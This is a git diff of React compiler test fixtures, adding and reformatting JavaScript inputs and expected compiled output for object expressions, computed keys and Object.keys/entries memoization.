--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-entries-mutation.js
@@ -0,0 +1,15 @@
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const object = {object: props.object};
+  const entries = Object.entries(object);
+  entries.map(([, value]) => {
+    value.updated = true;
+  });
+  return <Stringify entries={entries} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{object: {key: makeObject_Primitives()}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-captures-function-with-global-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-captures-function-with-global-mutation.expect.md
new file mode 100644
index 000000000000..9d970ef9e675
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-captures-function-with-global-mutation.expect.md
@@ -0,0 +1,49 @@
+
+## Input
+
+```javascript
+function Foo() {
+  const x = () => {
+    window.href = 'foo';
+  };
+  const y = {x};
+  return <Bar y={y} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Foo() {
+  const $ = _c(1);
+  const x = _temp;
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const y = { x };
+    t0 = <Bar y={y} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _temp() {
+  window.href = "foo";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: exception) Bar is not defined
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-captures-function-with-global-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-captures-function-with-global-mutation.js
new file mode 100644
index 000000000000..b3c936a2a284
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-captures-function-with-global-mutation.js
@@ -0,0 +1,12 @@
+function Foo() {
+  const x = () => {
+    window.href = 'foo';
+  };
+  const y = {x};
+  return <Bar y={y} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.expect.md
index 7ea1d6e95b47..40685f9acc23 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   const key = 42;
@@ -14,7 +14,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello!" }],
+  params: [{value: 'hello!'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.js
index 111596dc973a..c76210f30e4f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-number.js
@@ -1,4 +1,4 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   const key = 42;
@@ -10,5 +10,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello!" }],
+  params: [{value: 'hello!'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.expect.md
index afe4ddc0a360..be73de917e3b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
-  const key = "KeyName";
+  const key = 'KeyName';
   const context = {
     [key]: identity([props.value]),
   };
@@ -14,7 +14,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.js
index 266cbeee22bb..cdbe85e819df 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-constant-string.js
@@ -1,7 +1,7 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
-  const key = "KeyName";
+  const key = 'KeyName';
   const context = {
     [key]: identity([props.value]),
   };
@@ -10,5 +10,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction-sequence-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction-sequence-expr.expect.md
new file mode 100644
index 000000000000..d46db9c8de1a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction-sequence-expr.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {};
+  const context = {
+    [(mutate(key), key)]: identity([props.value]),
+  };
+  mutate(key);
+  return [context, key];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [{value: 42}, {value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, mutate, mutateAndReturn } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.value) {
+    const key = {};
+    const context = { [(mutate(key), key)]: identity([props.value]) };
+    mutate(key);
+    t0 = [context, key];
+    $[0] = props.value;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+  sequentialRenders: [{ value: 42 }, { value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
+[{"[object Object]":[42]},{"wat0":"joe","wat1":"joe"}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction-sequence-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction-sequence-expr.js
new file mode 100644
index 000000000000..183c03cf916d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction-sequence-expr.js
@@ -0,0 +1,16 @@
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {};
+  const context = {
+    [(mutate(key), key)]: identity([props.value]),
+  };
+  mutate(key);
+  return [context, key];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [{value: 42}, {value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction.expect.md
new file mode 100644
index 000000000000..1d671aa36cf9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {};
+  const context = {
+    [mutateAndReturn(key)]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [{value: 42}, {value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, mutate, mutateAndReturn } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(2);
+  let context;
+  if ($[0] !== props.value) {
+    const key = {};
+    context = { [mutateAndReturn(key)]: identity([props.value]) };
+    mutate(key);
+    $[0] = props.value;
+    $[1] = context;
+  } else {
+    context = $[1];
+  }
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+  sequentialRenders: [{ value: 42 }, { value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"[object Object]":[42]}
+{"[object Object]":[42]}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction.js
new file mode 100644
index 000000000000..0176850e9814
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-modified-during-after-construction.js
@@ -0,0 +1,16 @@
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {};
+  const context = {
+    [mutateAndReturn(key)]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [{value: 42}, {value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-mutate-key-while-constructing-object.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-mutate-key-while-constructing-object.expect.md
new file mode 100644
index 000000000000..77d3653e0c1b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-mutate-key-while-constructing-object.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {};
+  const context = {
+    [mutateAndReturn(key)]: identity([props.value]),
+  };
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, mutate, mutateAndReturn } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(5);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const key = {};
+    t0 = mutateAndReturn(key);
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  let t1;
+  if ($[1] !== props.value) {
+    t1 = identity([props.value]);
+    $[1] = props.value;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== t1) {
+    t2 = { [t0]: t1 };
+    $[3] = t1;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  const context = t2;
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"[object Object]":[42]}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-mutate-key-while-constructing-object.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-mutate-key-while-constructing-object.js
new file mode 100644
index 000000000000..0a35c884f3f2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-mutate-key-while-constructing-object.js
@@ -0,0 +1,14 @@
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {};
+  const context = {
+    [mutateAndReturn(key)]: identity([props.value]),
+  };
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.expect.md
index eca22a78a999..deb40abb34d7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 const SCALE = 2;
 
@@ -16,7 +16,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ key: "Sathya", value: "Compiler" }],
+  params: [{key: 'Sathya', value: 'Compiler'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.js
index a1d32b680b48..18a1646ef6c2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-non-reactive.js
@@ -1,4 +1,4 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 const SCALE = 2;
 
@@ -12,5 +12,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ key: "Sathya", value: "Compiler" }],
+  params: [{key: 'Sathya', value: 'Compiler'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.expect.md
index 1dab5ee4ce5e..dfd6649095b5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity, mutate } from "shared-runtime";
+import {identity, mutate} from 'shared-runtime';
 
 function Component(props) {
   const key = {};
@@ -15,7 +15,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -27,34 +27,17 @@ import { c as _c } from "react/compiler-runtime";
 import { identity, mutate } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(5);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = {};
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const key = t0;
-  let t1;
-  if ($[1] !== props.value) {
-    t1 = identity([props.value]);
-    $[1] = props.value;
-    $[2] = t1;
+  const $ = _c(2);
+  let context;
+  if ($[0] !== props.value) {
+    const key = {};
+    context = { [key]: identity([props.value]) };
+    mutate(key);
+    $[0] = props.value;
+    $[1] = context;
   } else {
-    t1 = $[2];
+    context = $[1];
   }
-  let t2;
-  if ($[3] !== t1) {
-    t2 = { [key]: t1 };
-    $[3] = t1;
-    $[4] = t2;
-  } else {
-    t2 = $[4];
-  }
-  const context = t2;
-
-  mutate(key);
   return context;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.js
index 91daebae31b3..1edaaaef27e4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key-object-mutated-later.js
@@ -1,4 +1,4 @@
-import { identity, mutate } from "shared-runtime";
+import {identity, mutate} from 'shared-runtime';
 
 function Component(props) {
   const key = {};
@@ -11,5 +11,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.expect.md
index 2f092265a433..419e40ab5cac 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 const SCALE = 2;
 
 function Component(props) {
-  const { key } = props;
+  const {key} = props;
   const context = {
     [key]: identity([props.value, SCALE]),
   };
@@ -16,7 +16,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ key: "Sathya", value: "Compiler" }],
+  params: [{key: 'Sathya', value: 'Compiler'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.js
index ada49f16f201..bf5544eaa866 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-key.js
@@ -1,9 +1,9 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 const SCALE = 2;
 
 function Component(props) {
-  const { key } = props;
+  const {key} = props;
   const context = {
     [key]: identity([props.value, SCALE]),
   };
@@ -12,5 +12,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ key: "Sathya", value: "Compiler" }],
+  params: [{key: 'Sathya', value: 'Compiler'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-member.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-member.expect.md
new file mode 100644
index 000000000000..49be82b146bc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-member.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {a: 'key'};
+  const context = {
+    [key.a]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, mutate, mutateAndReturn } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(4);
+  let context;
+  if ($[0] !== props.value) {
+    const key = { a: "key" };
+    const t0 = key.a;
+    const t1 = identity([props.value]);
+    let t2;
+    if ($[2] !== t1) {
+      t2 = { [t0]: t1 };
+      $[2] = t1;
+      $[3] = t2;
+    } else {
+      t2 = $[3];
+    }
+    context = t2;
+    mutate(key);
+    $[0] = props.value;
+    $[1] = context;
+  } else {
+    context = $[1];
+  }
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"key":[42]}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-member.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-member.js
new file mode 100644
index 000000000000..95a1d434624e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-computed-member.js
@@ -0,0 +1,15 @@
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const key = {a: 'key'};
+  const context = {
+    [key.a]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-member-expr-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-member-expr-call.expect.md
new file mode 100644
index 000000000000..ac6cb97b086c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-member-expr-call.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const obj = {mutateAndReturn};
+  const key = {};
+  const context = {
+    [obj.mutateAndReturn(key)]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, mutate, mutateAndReturn } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(2);
+  let context;
+  if ($[0] !== props.value) {
+    const obj = { mutateAndReturn };
+    const key = {};
+    context = { [obj.mutateAndReturn(key)]: identity([props.value]) };
+    mutate(key);
+    $[0] = props.value;
+    $[1] = context;
+  } else {
+    context = $[1];
+  }
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"[object Object]":[42]}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-member-expr-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-member-expr-call.js
new file mode 100644
index 000000000000..5cef590ed5da
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-member-expr-call.js
@@ -0,0 +1,16 @@
+import {identity, mutate, mutateAndReturn} from 'shared-runtime';
+
+function Component(props) {
+  const obj = {mutateAndReturn};
+  const key = {};
+  const context = {
+    [obj.mutateAndReturn(key)]: identity([props.value]),
+  };
+  mutate(key);
+  return context;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.expect.md
index 1cd6bc7ca833..360a8d45175f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function Component(props) {
-  const x = { ["foo"]: props.foo };
+  const x = {['foo']: props.foo};
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.js
index 951bfca79f5f..30e9855d7f86 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-expression-string-literal-key.js
@@ -1,10 +1,10 @@
 function Component(props) {
-  const x = { ["foo"]: props.foo };
+  const x = {['foo']: props.foo};
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-keys.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-keys.expect.md
new file mode 100644
index 000000000000..f076d9032db0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-keys.expect.md
@@ -0,0 +1,108 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+// derived from https://github.com/facebook/react/issues/32261
+function Component({items}) {
+  const record = useMemo(
+    () =>
+      Object.fromEntries(
+        items.map(item => [item.id, ref => <Stringify ref={ref} {...item} />])
+      ),
+    [items]
+  );
+
+  // Without a declaration for Object.entries(), this would be assumed to mutate
+  // `record`, meaning existing memoization couldn't be preserved
+  return (
+    <div>
+      {Object.keys(record).map(id => (
+        <Stringify key={id} render={record[id]} />
+      ))}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        {id: '0', name: 'Hello'},
+        {id: '1', name: 'World!'},
+      ],
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { useMemo } from "react";
+import { Stringify } from "shared-runtime";
+
+// derived from https://github.com/facebook/react/issues/32261
+function Component(t0) {
+  const $ = _c(7);
+  const { items } = t0;
+  let t1;
+  if ($[0] !== items) {
+    t1 = Object.fromEntries(items.map(_temp));
+    $[0] = items;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const record = t1;
+  let t2;
+  if ($[2] !== record) {
+    t2 = Object.keys(record);
+    $[2] = record;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== record || $[5] !== t2) {
+    t3 = (
+      <div>
+        {t2.map((id) => (
+          <Stringify key={id} render={record[id]} />
+        ))}
+      </div>
+    );
+    $[4] = record;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+function _temp(item) {
+  return [item.id, (ref) => <Stringify ref={ref} {...item} />];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        { id: "0", name: "Hello" },
+        { id: "1", name: "World!" },
+      ],
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div><div>{"render":"[[ function params=1 ]]"}</div><div>{"render":"[[ function params=1 ]]"}</div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-keys.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-keys.js
new file mode 100644
index 000000000000..38ae97ab9564
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-keys.js
@@ -0,0 +1,36 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
+
+// derived from https://github.com/facebook/react/issues/32261
+function Component({items}) {
+  const record = useMemo(
+    () =>
+      Object.fromEntries(
+        items.map(item => [item.id, ref => <Stringify ref={ref} {...item} />])
+      ),
+    [items]
+  );
+
+  // Without a declaration for Object.entries(), this would be assumed to mutate
+  // `record`, meaning existing memoization couldn't be preserved
+  return (
+    <div>
+      {Object.keys(record).map(id => (
+        <Stringify key={id} render={record[id]} />
+      ))}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      items: [
+        {id: '0', name: 'Hello'},
+        {id: '1', name: 'World!'},
+      ],
+    },
+  ],
+};
